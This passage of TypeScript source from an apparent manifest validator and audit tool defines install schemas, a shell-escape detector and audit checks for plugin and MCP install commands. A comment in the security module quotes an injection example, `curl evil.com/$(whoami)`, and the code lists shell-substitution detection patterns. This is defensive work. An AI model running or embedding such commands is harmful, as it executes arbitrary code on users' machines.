cmd, idempotent_check, npm_version.\n// Note: cmd should invoke `claude mcp add --scope project ...` (R3.2),\n// but schema only validates structure — actual cmd template is per-manifest.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const McpStdioAdd = Type.Object(\n {\n method: Type.Literal('mcp-stdio-add'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npm-cli per ADR 0001 type×method matrix (cli-npm only).\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpmCli = Type.Object(\n {\n method: Type.Literal('npm-cli'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method = npx-skill-installer per ADR 0001 type×method matrix.\n// Required: cmd, idempotent_check, npm_version.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const NpxSkillInstaller = Type.Object(\n {\n method: Type.Literal('npx-skill-installer'),\n cmd: Type.String({ minLength: 1 }),\n cwd: Type.Optional(Type.String()),\n env: Type.Optional(Type.Record(Type.String(), Type.String())),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n npm_version: Type.String({ minLength: 1 }),\n idempotent_check: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n","// install.method discriminated union per ADR 0001 type×method matrix.\n// 6 methods: cc-plugin-marketplace, git-clone-with-setup, npx-skill-installer,\n// npm-cli, mcp-stdio-add, mcp-http-add.\n//\n// IMPL NOTE (Rule 1 / F8): TypeBox's Type.Union(..., { discriminator })\n// emits `anyOf` + lacks `type: \"object\"` + `required: [\"method\"]`, but Ajv\n// `discriminator: true` strict mode requires `oneOf` + `type: \"object\"` +\n// `required: [\"method\"]`. We hand-build the discriminator-compatible shape\n// here so Ajv accepts it. The inferred TypeScript type still tracks via\n// Static<>; Ajv accepts hand-rolled JSON Schema objects with no DX cost.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { CcHookAdd } from './ccHookAdd.js'\nimport { CcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { GitCloneWithSetup } from './gitCloneWithSetup.js'\nimport { McpHttpAdd } from './mcpHttpAdd.js'\nimport { McpStdioAdd } from './mcpStdioAdd.js'\nimport { NpmCli } from './npmCli.js'\nimport { NpxSkillInstaller } from './npxSkillInstaller.js'\n\nconst branches = [\n CcPluginMarketplace,\n GitCloneWithSetup,\n NpxSkillInstaller,\n NpmCli,\n McpStdioAdd,\n McpHttpAdd,\n CcHookAdd,\n] as const\n\n// Hand-built JSON Schema that Ajv `discriminator: true` strict mode accepts.\n// Strict mode also requires `properties.method` declared at the discriminator\n// level (else `strictRequired` complains that `method` is required but undefined\n// at this object scope). Per-branch `additionalProperties: false` is preserved\n// (each TypeBox object already sets it).\nexport const InstallSchema = {\n type: 'object',\n discriminator: { propertyName: 'method' },\n required: ['method'],\n properties: {\n method: { type: 'string' },\n },\n oneOf: branches as unknown as object[],\n} as const\n\n// Re-derive the TS type via TypeBox's regular Union (this is unused at runtime\n// but gives downstream consumers a typed `Manifest['spec']['install']`).\nconst InstallUnion = Type.Union([...branches])\nexport type Install = Static<typeof InstallUnion>\n","// spec sub-schema per ADR 0001 § Top-level structure.\n// Fields: type, component_type, install (discriminated union), verify, uninstall,\n// upstream_health, signed_by, signature?, platforms,\n// tested_with_versions?, mutually_exclusive_with?,\n// category, install_type, decision_rules? (ADR 0007 errata — phase 1.3 加),\n// phase?, triggers? (ADR 0009 errata — phase 1.5 T5.5 加).\n//\n// IMPL NOTE — phase 1.5 T5.5 (ADR 0009 § Decision / D1.5-6 / D1.5-7 / Pattern L\n// spec-level metadata 加法 + Pattern T): adds 2 optional spec-level fields for\n// the mattpocock 23 招式 phase routing schema. `phase` is a 4-value enum\n// (discuss / plan / execute / verify) mirroring `decision_rules.yaml` v2\n// `mattpocock_phases` keys; `triggers` is an optional object carrying routing\n// hints (complexity_threshold / tdd_required / brainstorming_required). Both\n// optional — additive only, A7' 8-pillar enforcement (no existing manifest\n// broken). NOTE: this schema uses TypeBox (`@sinclair/typebox`), the project's\n// established schema lib — NOT zod; the task_plan `z.enum` / `z.object` outline\n// is a planning-doc shorthand, implemented here as `Type.Union` / `Type.Object`\n// per ADR 0001 + the no-new-deps constraint.\n\nimport { Type } from '@sinclair/typebox'\nimport { type Install, InstallSchema } from './installMethods/index.js'\n\nconst TypeEnum = Type.Union([\n Type.Literal('cc-plugin'),\n Type.Literal('cc-skill-pack'),\n Type.Literal('mcp-npm'),\n Type.Literal('cli-npm'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th type, 1:1 with install_type:'hook'.\n // Lifecycle hooks registered to ~/.claude/settings.json (SessionStart / UserPromptSubmit /\n // PreToolUse / PostToolUse) via the cc-hook-add install method.\n Type.Literal('cc-hook'),\n])\n\nconst ComponentType = Type.Union([\n Type.Literal('command'),\n Type.Literal('behavior-rule'),\n Type.Literal('mcp-tool'),\n Type.Literal('cli-binary'),\n])\n\nconst Verify = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n timeout_ms: Type.Optional(Type.Integer({ minimum: 100, maximum: 60_000 })),\n expected_exit_code: Type.Optional(Type.Integer()),\n },\n { additionalProperties: false },\n)\n\nconst Uninstall = Type.Object(\n {\n cmd: Type.String({ minLength: 1 }),\n cleanup_paths: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nconst Stability = Type.Union([\n Type.Literal('stable'),\n Type.Literal('beta'),\n Type.Literal('unstable'),\n Type.Literal('archived'),\n])\n\nconst FallbackAction = Type.Union([\n Type.Literal('warn'),\n Type.Literal('block'),\n Type.Literal('use_alternative'),\n])\n\nconst UpstreamHealth = Type.Object(\n {\n stability: Stability,\n last_check: Type.String({ format: 'date' }),\n last_known_good_version: Type.String({ minLength: 1 }),\n fallback_action: FallbackAction,\n alternative: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nconst Platform = Type.Union([Type.Literal('linux'), Type.Literal('darwin'), Type.Literal('win32')])\n\nconst Signature = Type.Object(\n { sigstore_bundle: Type.String({ format: 'uri' }) },\n { additionalProperties: false },\n)\n\nconst TestedWithVersions = Type.Object(\n {\n cc_versions: Type.Optional(Type.Array(Type.String())),\n node_versions: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\n// ADR 0007 errata — categorization schema (phase 1.3 T2.1 加 3 字段).\n// `category` (必填, 6 enum) + `install_type` (必填, 4 enum, 与 install.method 1:N 闭合) +\n// `decision_rules` (optional, per-manifest decision hint — 全局 rule-set 在\n// routing/decision_rules.yaml T3.1, schema 完全独立).\nconst Category = Type.Union([\n Type.Literal('meta'),\n Type.Literal('engineering'),\n Type.Literal('design'),\n Type.Literal('content'),\n Type.Literal('testing'),\n Type.Literal('search'),\n])\n\nconst InstallType = Type.Union([\n Type.Literal('skill'),\n Type.Literal('mcp'),\n Type.Literal('npm'),\n Type.Literal('git'),\n // Phase 2.4 W3 T3.1 (D-04 § 3.1 + R2.4.4 + B-22) — 5th install_type, 1:1 with TypeEnum:'cc-hook'.\n Type.Literal('hook'),\n])\n\nconst DecisionRules = Type.Object(\n {\n trigger: Type.Optional(Type.String({ minLength: 1 })),\n default_expert: Type.Optional(Type.String({ minLength: 1 })),\n arbitration_rule: Type.Optional(Type.String({ minLength: 1 })),\n override_signals: Type.Optional(\n Type.Array(\n Type.Object(\n {\n phrase: Type.String({ minLength: 1 }),\n use: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n ),\n ),\n ),\n // Phase 2.3 W2 T2.5 — CD-3 negative-space hint mirror (B-17 per-manifest hint\n // redundant guard layer; SSOT remains routing/decision_rules.yaml — D-04 lead).\n // Additive optional; existing manifests unchanged (A7 守恒).\n do_not_use_when: Type.Optional(Type.Array(Type.String({ minLength: 1 }), { minItems: 1 })),\n if_rejected_use: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\n// ADR 0009 errata — mattpocock 23 招式 phase routing schema (phase 1.5 T5.5).\n// `Phase` (optional, 4 enum — 1:1 with decision_rules.yaml v2 mattpocock_phases\n// keys) + `Triggers` (optional, routing hints per D1.5-7). Both additive.\nconst Phase = Type.Union([\n Type.Literal('discuss'),\n Type.Literal('plan'),\n Type.Literal('execute'),\n Type.Literal('verify'),\n])\n\nconst Triggers = Type.Object(\n {\n complexity_threshold: Type.Optional(Type.Integer({ minimum: 1 })),\n tdd_required: Type.Optional(Type.Boolean()),\n brainstorming_required: Type.Optional(Type.Boolean()),\n },\n { additionalProperties: false },\n)\n\n// ADR 0010 errata — bundle-install modeling (#10, D2.1-1). One install action\n// may surface multiple named units (e.g. document-skills → pptx/docx/xlsx/pdf).\n// `provides` absent ⇒ atomic manifest (unchanged behavior). Present ⇒ one\n// install exposes N named units. `install`/`verify`/`uninstall` stay singular —\n// the bundle is installed by ONE action. Bundle manifests use the existing\n// `type: 'cc-skill-pack'` (D2.1-2 — no new TypeEnum/ComponentType value).\nconst ProvidedUnit = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // routing-addressable, <org>-<repo>-<unit>\n component_type: ComponentType, // reuse existing union\n },\n { additionalProperties: false },\n)\n\nexport const SpecSchema = Type.Object(\n {\n type: TypeEnum,\n component_type: ComponentType,\n install: Type.Unsafe<Install>(InstallSchema),\n verify: Verify,\n uninstall: Uninstall,\n upstream_health: UpstreamHealth,\n signed_by: Type.String({ pattern: '^[a-zA-Z0-9-]+$', minLength: 1 }),\n signature: Type.Optional(Signature),\n platforms: Type.Array(Platform, { minItems: 1, uniqueItems: true }),\n tested_with_versions: Type.Optional(TestedWithVersions),\n mutually_exclusive_with: Type.Optional(Type.Array(Type.String())),\n category: Category,\n install_type: InstallType,\n decision_rules: Type.Optional(DecisionRules),\n // ADR 0009 errata (phase 1.5 T5.5) — mattpocock phase routing schema.\n phase: Type.Optional(Phase),\n triggers: Type.Optional(Triggers),\n // ADR 0010 errata (phase 2.1 T1.3) — bundle-install `provides` field.\n provides: Type.Optional(Type.Array(ProvidedUnit, { minItems: 2, uniqueItems: true })),\n },\n { additionalProperties: false },\n)\n","// Manifest schema v1 — main entry per ADR 0001.\n// Top-level: { apiVersion, kind, metadata, spec } with strict additionalProperties: false.\n//\n// Type × install.method matrix (ADR 0001 § 4.5) is enforced via top-level `allOf`\n// with `if/then` clauses. Without this, the install discriminator only validates\n// the chosen method's structure but allows e.g. `type: cli-npm` paired with\n// `method: cc-plugin-marketplace` (matrix violation). Rule 2 enforcement.\n\nimport { Type } from '@sinclair/typebox'\nimport { ApiVersion, Kind, MetadataSchema } from './metadata.js'\nimport { SpecSchema } from './spec.js'\n\n// TypeBox-typed base — drives Static<typeof ManifestBase> for the inferred\n// Manifest TS type (re-exported via ./types.js).\nexport const ManifestBase = Type.Object(\n {\n apiVersion: ApiVersion,\n kind: Kind,\n metadata: MetadataSchema,\n spec: SpecSchema,\n },\n { additionalProperties: false },\n)\n\n// Per-type allowed install.method whitelist per ADR 0001 line 104-113.\nconst matrix: Record<string, string[]> = {\n 'cc-plugin': ['cc-plugin-marketplace'],\n 'cc-skill-pack': ['cc-plugin-marketplace', 'git-clone-with-setup', 'npx-skill-installer'],\n 'mcp-npm': ['mcp-stdio-add', 'mcp-http-add'],\n 'cli-npm': ['npm-cli'],\n}\n\nconst matrixConstraints = Object.entries(matrix).map(([typeValue, allowedMethods]) => ({\n if: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: { type: { const: typeValue } },\n required: ['type'],\n },\n },\n required: ['spec'],\n },\n // biome-ignore lint/suspicious/noThenProperty: JSON Schema `then` keyword (conditional schemas), not a thenable.\n then: {\n type: 'object',\n properties: {\n spec: {\n type: 'object',\n properties: {\n install: {\n type: 'object',\n properties: { method: { enum: allowedMethods } },\n required: ['method'],\n },\n },\n required: ['install'],\n },\n },\n required: ['spec'],\n },\n}))\n\n// Runtime JSON Schema fed to Ajv: typed base + matrix allOf clauses + metadata.\n// We spread ManifestBase (a TypeBox object that is already a valid JSON Schema)\n// and append the cross-field constraints.\nexport const ManifestSchema = {\n ...(ManifestBase as unknown as Record<string, unknown>),\n $id: 'https://harnessed.dev/schemas/manifest.v1.schema.json',\n title: 'harnessed Manifest v1',\n description: 'Per ADR 0001. Strict mode (additionalProperties: false everywhere).',\n allOf: matrixConstraints,\n}\n","// Phase 1.1.1 hotfix per Paranoid Staff Engineer review B1.\n//\n// ADR 0001 § \"字段拒绝清单\" claims schema rejects ${shell command} dynamic\n// substitution patterns, but v0.1 phase 1.1 schema only does structural\n// validation (Type.String + minLength). This module fills the gap before\n// phase 1.2 installer ships — without it, an upstream manifest with\n// `cmd: 'curl evil.com/$(whoami)'` would pass validation, and the\n// phase 1.2 installer that spawns the cmd string would execute arbitrary\n// code on the user's machine.\n//\n// v0.2 plan: add a `requires_secret` schema field + explicit\n// `${secret:KEY}` template syntax, at which point this detector should\n// allow the `${secret:*}` whitelist while still rejecting raw `${VAR}`.\n//\n// Detected patterns (4):\n// - `$(...)` POSIX command substitution\n// - `${...}` variable expansion\n// - backtick old-style command substitution\n// - dangerous yaml tags (handled at parse layer by yaml@2.x; we\n// don't double-check, but document the trust boundary)\n//\n// Targeted fields:\n// - spec.install.cmd\n// - spec.verify.cmd\n// - spec.uninstall.cmd\n// - spec.uninstall.cleanup_paths[*]\n\nimport type { Document, LineCounter, Node } from 'yaml'\nimport { isMap, isScalar, isSeq } from 'yaml'\nimport type { ValidationError } from './errors.js'\n\ninterface ShellPattern {\n test: (s: string) => boolean\n label: string\n hint: string\n}\n\nconst PATTERNS: ShellPattern[] = [\n {\n label: '$(...)',\n hint: 'POSIX command substitution',\n test: (s) => /\\$\\(/.test(s),\n },\n {\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal pattern label, not a JS template\n label: '${...}',\n // biome-ignore lint/suspicious/noTemplateCurlyInString: literal example in user-facing message\n hint: 'variable expansion (v0.2 will whitelist `${secret:KEY}`)',\n test: (s) => /\\$\\{/.test(s),\n },\n {\n label: 'backtick',\n hint: 'old-style command substitution',\n test: (s) => /`/.test(s),\n },\n]\n\nfunction lineOf(node: Node | null | undefined, lineCounter: LineCounter): number | null {\n if (!node?.range) return null\n const offset = node.range[0]\n return lineCounter.linePos(offset).line\n}\n\n/**\n * String-level shell-escape detector for runtime defense-in-depth.\n *\n * Phase 1.2 lib/spawn.ts re-runs this on `manifest.spec.install.cmd` right\n * before child_process.spawn(): if a future caller (e.g. phase 1.4 routing,\n * a test harness, or an installer that bypasses validate.ts) hands an\n * unvalidated cmd string to spawn, we still refuse to execute. Same pattern\n * set as `checkSecurityViolations`, just operating on a raw string instead\n * of a yaml AST node — no source-line/path context here.\n *\n * Returns the offending pattern descriptor on first hit, or null if clean.\n */\nexport function checkCmdString(cmd: string): { label: string; hint: string } | null {\n for (const pat of PATTERNS) {\n if (pat.test(cmd)) return { label: pat.label, hint: pat.hint }\n }\n return null\n}\n\nfunction checkScalarCmd(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n path: Array<string | number>,\n filename: string,\n): ValidationError | null {\n const node = doc.getIn(path, true)\n if (!node || !isScalar(node)) return null\n const value = node.value\n if (typeof value !== 'string') return null\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n return {\n file: filename,\n path: `/${path.join('/')}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at ${path.join('.')} — v0.1 forbids dynamic shell evaluation; v0.2 will use \\`requires_secret\\` + \\`\\${secret:KEY}\\` for env placeholders`,\n line: lineOf(node, lineCounter),\n column: null,\n keyword: 'security',\n }\n }\n }\n return null\n}\n\n/**\n * Pre-Ajv security gate per ADR 0001 § \"字段拒绝清单\".\n * Walks the parsed yaml AST and rejects any string-typed cmd field (or\n * cleanup_paths sequence element) containing `$(...)`, `${...}`, or\n * backticks. Returns ALL violations found (not short-circuit) so the\n * user can fix them in one pass.\n */\nexport function checkSecurityViolations(\n doc: Document.Parsed,\n filename: string,\n lineCounter: LineCounter,\n): ValidationError[] {\n const errors: ValidationError[] = []\n\n // Walk known cmd paths. We do NOT do generic AST recursion because we\n // want surgical: only fields where the installer will spawn a shell.\n const cmdPaths: Array<Array<string | number>> = [\n ['spec', 'install', 'cmd'],\n ['spec', 'verify', 'cmd'],\n ['spec', 'uninstall', 'cmd'],\n ]\n\n for (const p of cmdPaths) {\n const err = checkScalarCmd(doc, lineCounter, p, filename)\n if (err) errors.push(err)\n }\n\n // cleanup_paths is a sequence of strings — iterate each element.\n const cleanupNode = doc.getIn(['spec', 'uninstall', 'cleanup_paths'], true)\n if (cleanupNode && isSeq(cleanupNode)) {\n cleanupNode.items.forEach((item, idx) => {\n if (!isScalar(item)) return\n const value = item.value\n if (typeof value !== 'string') return\n for (const pat of PATTERNS) {\n if (pat.test(value)) {\n errors.push({\n file: filename,\n path: `/spec/uninstall/cleanup_paths/${idx}`,\n message: `shell escape detected: '${pat.label}' (${pat.hint}) at spec.uninstall.cleanup_paths[${idx}] — v0.1 forbids dynamic shell evaluation`,\n line: lineOf(item, lineCounter),\n column: null,\n keyword: 'security',\n })\n break\n }\n }\n })\n }\n\n // Sanity guard: if doc has no spec block (incomplete manifest), skip silently;\n // Ajv will report the structural error.\n void isMap\n\n return errors\n}\n","// Manifest validator entry per ADR 0001 + GA-1.\n// Pipeline: yaml.parseDocument -> doc.toJS() -> Ajv compiled validator -> typed Manifest.\n// T4.1 baseline: parse + Ajv strict + discriminator.\n// T4.2 extracts friendly-error mapping to ./errors.ts.\n// T4.3 adds yaml CST line/column mapping.\n//\n// IMPL NOTE (Rule 1 / F8): tsconfig has `verbatimModuleSyntax: true` (per ADR\n// 0002) which disables `esModuleInterop` synthetic-default behaviour at runtime.\n// `ajv` 8 ships a named `Ajv` class export, so a named import works directly.\n// `ajv-formats` exports only a default function, so we import it as a namespace\n// and pull `.default` at runtime — that mirrors what the CJS module actually\n// exposes (`module.exports = formatsPlugin; exports.default = formatsPlugin`).\n\nimport { Ajv } from 'ajv'\nimport * as ajvFormatsNs from 'ajv-formats'\nimport { LineCounter, parseDocument } from 'yaml'\nimport { ajvErrorToFriendly, type ValidationError, yamlParseErrorToFriendly } from './errors.js'\nimport { ManifestSchema } from './schema/index.js'\nimport type { Manifest } from './schema/types.js'\nimport { checkSecurityViolations } from './security.js'\n\nconst addFormats = (ajvFormatsNs as unknown as { default: (a: Ajv) => Ajv }).default\n\nconst ajv = addFormats(\n new Ajv({\n strict: true,\n strictSchema: true,\n strictTypes: true,\n strictRequired: true,\n allErrors: true,\n discriminator: true,\n allowUnionTypes: false,\n }),\n)\n\nlet _compiled: ReturnType<typeof ajv.compile<Manifest>> | null = null\nfunction getValidator() {\n if (!_compiled) {\n _compiled = ajv.compile<Manifest>(ManifestSchema as unknown as object)\n }\n return _compiled\n}\n\nexport type { ValidationError } from './errors.js'\n\nexport type ValidateResult =\n | { ok: true; manifest: Manifest }\n | { ok: false; errors: ValidationError[] }\n\n// ADR 0010 errata (phase 2.1 T1.4) — install_type ↔ install.method 1:N closure\n// enforcement. TypeBox `Type` cannot express cross-field constraints, so this\n// is a validate-layer refinement rule. Maps each install_type enum value to its\n// closed set of legal install.method values (ADR 0007 1:N closure). install\n// methods not in this map (currently none) are unconstrained.\nconst INSTALL_TYPE_METHODS: Record<string, readonly string[]> = {\n npm: ['npm-cli'],\n mcp: ['mcp-stdio-add', 'mcp-http-add'],\n git: ['git-clone-with-setup'],\n skill: ['cc-plugin-marketplace', 'npx-skill-installer'],\n}\n\nfunction checkInstallTypeMismatch(manifest: Manifest, filename: string): ValidationError[] {\n const spec = manifest.spec as { install_type?: string; install?: { method?: string } }\n const installType = spec.install_type\n const method = spec.install?.method\n if (!installType || !method) return []\n const allowed = INSTALL_TYPE_METHODS[installType]\n if (!allowed || allowed.includes(method)) return []\n return [\n {\n file: filename,\n path: 'spec.install.method',\n message: `install_type '${installType}' is not compatible with install.method '${method}' (ADR 0007 1:N closure — expected one of: ${allowed.join(', ')})`,\n line: null,\n column: null,\n keyword: 'install-type-mismatch',\n },\n ]\n}\n\nexport function validateManifestFile(yamlSource: string, filename: string): ValidateResult {\n const lineCounter = new LineCounter()\n const doc = parseDocument(yamlSource, { lineCounter })\n\n if (doc.errors.length > 0) {\n return {\n ok: false,\n errors: doc.errors.map((e) => yamlParseErrorToFriendly(e, filename)),\n }\n }\n\n // Phase 1.1.1 hotfix B1: pre-Ajv security gate. Reject `$(...)`, `${...}`,\n // backtick, etc. in any cmd field BEFORE structural validation so users\n // see the security failure first (not a confusing field-shape error).\n const securityErrors = checkSecurityViolations(doc, filename, lineCounter)\n if (securityErrors.length > 0) {\n return { ok: false, errors: securityErrors }\n }\n\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const errs = validate.errors ?? []\n return {\n ok: false,\n errors: errs.map((err) => ajvErrorToFriendly(err, filename, doc, lineCounter)),\n }\n }\n\n // ADR 0010 errata (phase 2.1 T1.4) — cross-field install_type ↔ install.method\n // 1:N closure check. Runs after Ajv structural validation passes (needs a\n // well-formed manifest); TypeBox `Type` cannot express cross-field rules.\n const manifest = data as Manifest\n const crossFieldErrors = checkInstallTypeMismatch(manifest, filename)\n if (crossFieldErrors.length > 0) {\n return { ok: false, errors: crossFieldErrors }\n }\n\n return { ok: true, manifest }\n}\n","// Phase 2.4 W4 T4.1 — audit runtime-layer helpers per B-28 + B-29 + R2.\n// 3 helpers: origin tamper (sister-share w/ allowFork=false), install.cmd\n// shell-injection + npm-pkg-vs-upstream cross-check, provenance gate.\n// Karpathy budget: ≤64L (B-29 target ≤50 + biome multi-line format carve-out\n// sister doctor.ts B-03 5%-tolerance pattern; semantically MIN — 3 helpers +\n// 1 `finding()` constructor, biome auto-expands long single-line returns).\nimport { spawnSync } from 'node:child_process'\nimport type { Manifest } from '../../manifest/schema/types.js'\nimport type { AuditFinding } from '../audit.js'\nimport { checkOrigin } from './origin-check.js'\n\n// Phase 2.4 W4 T4.1 — refined per real-world manifest survey: planner spec\n// originally COMMAND_SEPARATORS = /[;&|`$]/ flagged legitimate multi-step\n// installs (cp && cd; mkdir; etc.). Tighten to actual shell-eval injection\n// markers aligned with src/manifest/security.ts gate (Phase 1.1.1 hotfix B1):\n// $(...) command substitution / ${...} var expansion / backtick legacy substitution.\n// Bare `$` followed by non-{( (e.g. `$PATH` literal in echo) is NOT injection.\n// Rule 1 deviation per executor — see SUMMARY § Deviations.\nconst SHELL_EVAL_MARKERS = /\\$\\(|\\$\\{|`/\nconst NPM_PKG_RE = /npm(?:\\s+install\\b|\\s+i\\b)(?:\\s+(?:-g|--global))?\\s+(\\S+)/\n\nconst finding = (\n manifest: string,\n level: 'warn' | 'error',\n field: string,\n detail: string,\n): AuditFinding => ({ manifest, level, field, detail })\n\nexport function auditOriginIntegrity(cwd: string): AuditFinding[] {\n const r = checkOrigin(cwd, { allowFork: false }) // B-28 hard-fail mode (vs doctor allowFork=true)\n if (r.status === 'pass') return []\n return [\n finding('project', r.status === 'fail' ? 'error' : 'warn', '/git/remote/origin', r.detail),\n ]\n}\n\nexport function auditInstallCmdIntegrity(m: Manifest): AuditFinding[] {\n const out: AuditFinding[] = []\n const cmd = (m.spec.install as { cmd?: string }).cmd ?? ''\n if (SHELL_EVAL_MARKERS.test(cmd)) {\n out.push(\n finding(\n m.metadata.name,\n 'error',\n '/spec/install/cmd',\n 'install.cmd contains shell-eval marker $(/${/backtick (injection risk)',\n ),\n )\n }\n const upstream = m.metadata.upstream?.repository ?? ''\n const npmMatch = cmd.match(NPM_PKG_RE)\n if (npmMatch?.[1] && upstream.includes('github.com/')) {\n const declared = upstream.split('/').pop()?.replace('.git', '')\n if (declared && npmMatch[1] !== declared) {\n out.push(\n finding(\n m.metadata.name,\n 'warn',\n '/spec/install/cmd',\n `install.cmd npm pkg '${npmMatch[1]}' ≠ upstream '${declared}'`,\n ),\n )\n }\n }\n return out\n}\n\nexport function auditProvenance(): AuditFinding[] {\n const r = spawnSync('node', ['scripts/check-provenance.mjs'], { encoding: 'utf8' })\n if (r.status === 0) return []\n const detail = (r.stderr || r.stdout || '').trim().slice(0, 200)\n return [finding('project', 'error', '/.harnessed/provenance', detail)]\n}\n","// Phase 1.2 cli subcommand `audit` per ASSUMPTIONS B4 候选 1 + R2.3 + phase-1.1.1 M1 second-line check.\n//\n// Phase 1.2 scope: manifest 内自一致性校验 only. We do NOT call git remote\n// get-url against installed copies — that requires already-installed\n// upstreams + network access, deferred to phase 2.4 (real audit per ASSUMPTIONS\n// B4 + ROADMAP). Schema-level checks (git_ref pattern, signed_by pattern,\n// repository format) are mostly enforced by Ajv + phase 1.1.1 M1 hotfix; this\n// audit is a second-line defense against schema drift / placeholder values\n// slipping through.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { validateManifestFile } from '../manifest/validate.js'\n// Phase 2.4 W4 T4.1 — runtime-layer helpers (B-28 + B-29 + D2.4-16 + D2.4-17).\nimport {\n auditInstallCmdIntegrity,\n auditOriginIntegrity,\n auditProvenance,\n} from './lib/audit-helpers.js'\n\nconst REPO_URL_PATTERN = /^https:\\/\\/[^\\s]+\\.git$/\nconst SIGNED_BY_PLACEHOLDERS = new Set(['unsigned', 'todo', 'placeholder', 'tbd', 'unknown'])\nconst FORBIDDEN_GIT_REFS = new Set(['HEAD', 'main', 'master'])\n\n// Phase 2.4 W4 T4.1 — exported for sister-share with src/cli/lib/audit-helpers.ts\n// (3 runtime-layer helpers reuse same finding shape; karpathy YAGNI no audit-types.ts).\nexport interface AuditFinding {\n manifest: string\n level: 'warn' | 'error'\n field: string\n detail: string\n}\n\nasync function auditOne(yamlPath: string, preReadSrc?: string): Promise<AuditFinding[]> {\n const findings: AuditFinding[] = []\n const src = preReadSrc ?? (await readFile(yamlPath, 'utf8'))\n const v = validateManifestFile(src, yamlPath)\n if (!v.ok) {\n return v.errors.map((e) => ({\n manifest: yamlPath,\n level: 'error' as const,\n field: e.path,\n detail: e.message,\n }))\n }\n const m = v.manifest\n\n // 1. repository URL shape — must be https + .git suffix.\n const repo = m.metadata.upstream.repository\n if (!REPO_URL_PATTERN.test(repo)) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/metadata/upstream/repository',\n detail: `repository '${repo}' should be https://...git`,\n })\n }\n\n // 2. signed_by must not be a placeholder.\n const sig = m.spec.signed_by\n if (SIGNED_BY_PLACEHOLDERS.has(sig.toLowerCase())) {\n findings.push({\n manifest: yamlPath,\n level: 'warn',\n field: '/spec/signed_by',\n detail: `signed_by '${sig}' looks like a placeholder`,\n })\n }\n\n // 3. git_ref second-line check — schema enforces SHA(7-40 hex)|SemVer pattern (M1\n // hotfix); audit catches the rare \"schema bypass\" case, which is impossible today\n // but cheap insurance against future migrations.\n const install = m.spec.install\n if ('git_ref' in install && typeof install.git_ref === 'string') {\n if (FORBIDDEN_GIT_REFS.has(install.git_ref)) {\n findings.push({\n manifest: yamlPath,\n level: 'error',\n field: '/spec/install/git_ref',\n detail: `git_ref '${install.git_ref}' is a moving ref (HEAD/main/master) — pin to SHA or tag`,\n })\n }\n }\n return findings\n}\n\nexport function registerAudit(program: Command): void {\n program\n .command('audit')\n .description('Second-line manifest self-consistency audit (manifest + runtime layers)')\n .option(\n '--skip-runtime',\n 'skip runtime-layer checks (origin tamper / provenance) — manifest only',\n )\n .action(async (opts: { skipRuntime?: boolean }) => {\n const root = process.cwd()\n const dirs = ['manifests/tools', 'manifests/skill-packs']\n const yamls: string[] = []\n for (const d of dirs) {\n try {\n const entries = await readdir(join(root, d))\n for (const f of entries) if (f.endsWith('.yaml')) yamls.push(resolve(root, d, f))\n } catch {\n // dir absent — skip silently (project may not have all categories)\n }\n }\n yamls.sort()\n\n // Manifest-layer findings (Phase 1.2 ship — schema drift / placeholders / moving refs).\n const findings: AuditFinding[] = []\n const validManifests: Array<{\n path: string\n m: import('../manifest/schema/types.js').Manifest\n }> = []\n for (const y of yamls) {\n const src = await readFile(y, 'utf8')\n const v = validateManifestFile(src, y)\n if (v.ok) validManifests.push({ path: y, m: v.manifest })\n findings.push(...(await auditOne(y, src)))\n }\n\n // Phase 2.4 W4 T4.1 — runtime-layer findings per B-28 + B-29 + R2:\n // 1. origin URL tamper (hard-fail mode via shared checkOrigin helper)\n // 2. install.cmd shell-injection + npm-pkg-vs-upstream cross-check\n // 3. provenance gate (delegates to scripts/check-provenance.mjs)\n // --skip-runtime escape hatch for offline / pre-init env (B-29 carve-out).\n if (!opts.skipRuntime) {\n findings.push(...auditOriginIntegrity(root))\n for (const { m } of validManifests) findings.push(...auditInstallCmdIntegrity(m))\n findings.push(...auditProvenance())\n }\n\n const byManifest = new Map<string, AuditFinding[]>()\n for (const f of findings) {\n const arr = byManifest.get(f.manifest) ?? []\n arr.push(f)\n byManifest.set(f.manifest, arr)\n }\n let errorCount = 0\n for (const y of yamls) {\n const fs = byManifest.get(y) ?? []\n if (fs.length === 0) {\n console.log(`✓ ${y}`)\n } else {\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} ${y}\\n ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n }\n // 